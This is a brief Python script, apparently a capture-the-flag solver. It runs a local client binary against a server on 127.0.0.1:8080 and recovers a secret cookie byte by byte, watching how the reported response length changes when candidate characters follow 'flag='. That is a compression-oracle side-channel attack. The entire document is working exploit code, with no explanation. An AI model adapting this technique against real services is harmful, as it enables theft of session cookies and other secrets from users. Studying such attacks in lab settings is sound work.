from string import ascii_lowercase, ascii_uppercase, digits
from subprocess import check_output

alphabet = ascii_lowercase + ascii_uppercase + digits
env = {
    "LD_PRELOAD": "..."
}

def request(url: str) -> int:
    """Executes the client binary with the following URL, and checks its output."""
    out = check_output(["./client", "127.0.0.1", "8080", url], env=env).decode('utf-8')
    return int(out.split(' ')[1])


if __name__ == '__main__':
    cookie = ''
    best_len = request('flag=' + cookie)

    while True:
        for c in alphabet:
            current = request('flag=' + cookie + c)
            if current <= best_len:
                cookie += c
                best_len = current
                print(f'Found one byte in cookie: {cookie}')
                break
        else:
            print(f'Found complete cookie: {cookie}')
            break